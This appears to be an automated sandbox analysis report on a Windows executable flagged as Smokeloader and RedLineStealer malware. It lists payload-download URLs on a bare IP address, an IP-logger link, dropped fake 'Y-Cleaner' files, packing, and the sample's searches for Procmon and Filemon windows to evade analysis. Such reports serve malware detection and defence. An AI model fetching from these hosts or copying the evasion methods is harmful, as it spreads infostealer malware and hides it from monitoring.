Source: file.exe, 00000000.00000003.2278917288.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadV
Source: file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228394305.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202790223.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152442552.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177651450.0000000005552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadc:y
Source: file.exe, 00000000.00000003.2152414273.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202764538.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2253635667.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177624907.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228368490.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278917288.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadeep-Al
Source: file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloader:
Source: file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228394305.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadi5c
Source: file.exe, 00000000.00000003.2152414273.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202764538.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2253635667.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177624907.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228368490.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278917288.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127311530.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadj
Source: file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127338582.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228394305.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202790223.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2101877799.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152442552.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177651450.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadm:g
Source: file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127338582.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228394305.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202790223.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2076612201.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2101877799.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152442552.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177651450.0000000005552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadq:
Source: file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloads5
Source: file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadt
Source: file.exe, 00000000.00000002.2665430518.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadvy$
Source: file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downe:
Source: file.exe, 00000000.00000002.2665430518.0000000001005000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.2451035215.000000000552F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.0000000005801000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450949738.00000000058BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.00000000058B9000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: file.exe, 00000000.00000003.2451035215.000000000552F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.0000000005801000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450949738.00000000058BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.00000000058B9000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://g-cleanit.hk
Source: file.exe, 00000000.00000003.2451035215.000000000552F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.0000000005801000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450949738.00000000058BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.00000000058B9000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://iplogger.org/1Pz8p7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2665403133.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403D20		0_2_00403D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402EC0		0_2_00402EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404F50		0_2_00404F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410900		0_2_00410900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A306		0_2_0041A306
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB87		0_2_0040EB87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00415E19		0_2_00415E19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EEC9		0_2_0040EEC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004156EE		0_2_004156EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B690		0_2_0040B690
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E184		0_2_1000E184
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_100102A0		0_2_100102A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009520A0		0_2_009520A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00928855		0_2_00928855
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082586D		0_2_0082586D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00844233		0_2_00844233
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00999BA9		0_2_00999BA9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099ECC2		0_2_0099ECC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00996597		0_2_00996597
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099369B		0_2_0099369B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00991630		0_2_00991630
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B657		0_2_0099B657
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098FFB8		0_2_0098FFB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00858765		0_2_00858765
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A076A		0_2_009A076A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D151B7		0_2_04D151B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D1EDEE		0_2_04D1EDEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D13F87		0_2_04D13F87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D1B8F7		0_2_04D1B8F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D151B7		0_2_04D151B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D25955		0_2_04D25955
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D1F130		0_2_04D1F130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D20B67		0_2_04D20B67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A3EE1		0_2_009A3EE1

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04D1A9C7 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040A760 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 10003160 appears 32 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7324 -s 580

Source: file.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe, 00000000.00000003.2453211940.00000000057C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs file.exe
Source: file.exe, 00000000.00000003.2452413532.0000000005FE6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameY-Cleaner.exe4 vs file.exe
Source: file.exe, 00000000.00000003.2452876649.00000000057A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2665403133.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: Y-Cleaner.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.evad.winEXE@2/15@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F4D0FE CreateToolhelp32Snapshot,Module32First,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7324

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Command line argument: emp		0_2_00408770
Source: C:\Users\user\Desktop\file.exe	Command line argument: mixtwo		0_2_00408770

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7324 -s 580

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.0.dr

LNK file: ..\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Y-Cleaner.exe

Source: file.exe

Static file information: File size 1979904 > 1048576

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of dinlulrd is bigger than: 0x100000 < 0x1b1400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dinlulrd:EW;jiwmyjir:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: Y-Cleaner.exe.0.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dll[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: Bunifu_UI_v1.5.3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: soft[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: Y-Cleaner.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: file.exe	Static PE information: real checksum: 0x1eb816 should be: 0x1ed637

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: dinlulrd
Source: file.exe	Static PE information: section name: jiwmyjir
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A1F7 push ecx; ret		0_2_0040A20A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00421B7D push esi; ret		0_2_00421B86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E891 push ecx; ret		0_2_1000E8A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009520A0 push edx; mov dword ptr [esp], 2FCE50C1h		0_2_009520C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00945811 push esi; mov dword ptr [esp], 32DCFEB0h		0_2_00945828
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00945811 push eax; mov dword ptr [esp], 3BF50666h		0_2_00945833
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00928855 push edx; mov dword ptr [esp], ebp		0_2_009288A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00928855 push eax; mov dword ptr [esp], edx		0_2_0092893B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00928855 push esi; mov dword ptr [esp], ebx		0_2_0092894A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094E04E push eax; mov dword ptr [esp], 3C058BACh		0_2_0094E099
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094E04E push 518C2659h; mov dword ptr [esp], edx		0_2_0094E121
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008261AF push ecx; iretd		0_2_008261B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085C1E4 push edx; mov dword ptr [esp], 7BFEA781h		0_2_0085C1F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085C1E4 push eax; mov dword ptr [esp], edi		0_2_0085C206
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085C1E4 push edx; mov dword ptr [esp], ebp		0_2_0085C23D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008289E1 push esi; iretd		0_2_008289E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009009E3 push edx; mov dword ptr [esp], ebp		0_2_009009F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00844233 push 484E23A8h; mov dword ptr [esp], eax		0_2_00844283
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00844233 push 108D1BD0h; mov dword ptr [esp], edx		0_2_00844294
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00844233 push 1FFA1F06h; mov dword ptr [esp], eax		0_2_00844343
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00844233 push 28FE171Eh; mov dword ptr [esp], ecx		0_2_0084434B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00844233 push ebp; mov dword ptr [esp], edx		0_2_0084435A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00844233 push esi; mov dword ptr [esp], edi		0_2_008443FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00844233 push 687254A7h; mov dword ptr [esp], edx		0_2_0084441F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00844233 push 13909D20h; mov dword ptr [esp], ecx		0_2_00844475
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00831246 push eax; mov dword ptr [esp], edx		0_2_0083128C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00831246 push 595B47BBh; mov dword ptr [esp], edx		0_2_008312F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097239F push ecx; mov dword ptr [esp], ebp		0_2_0097243E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097239F push ecx; mov dword ptr [esp], 58FF4EF0h		0_2_00972446
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097239F push 0A65BDF8h; mov dword ptr [esp], ebp		0_2_00972487
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097239F push ecx; mov dword ptr [esp], 5DD03944h		0_2_009724EA

Source: file.exe	Static PE information: section name: dinlulrd entropy: 7.940454687129734
Source: Y-Cleaner.exe.0.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].0.dr	Static PE information: section name: .text entropy: 7.918511524700298

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Bunifu_UI_v1.5.3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
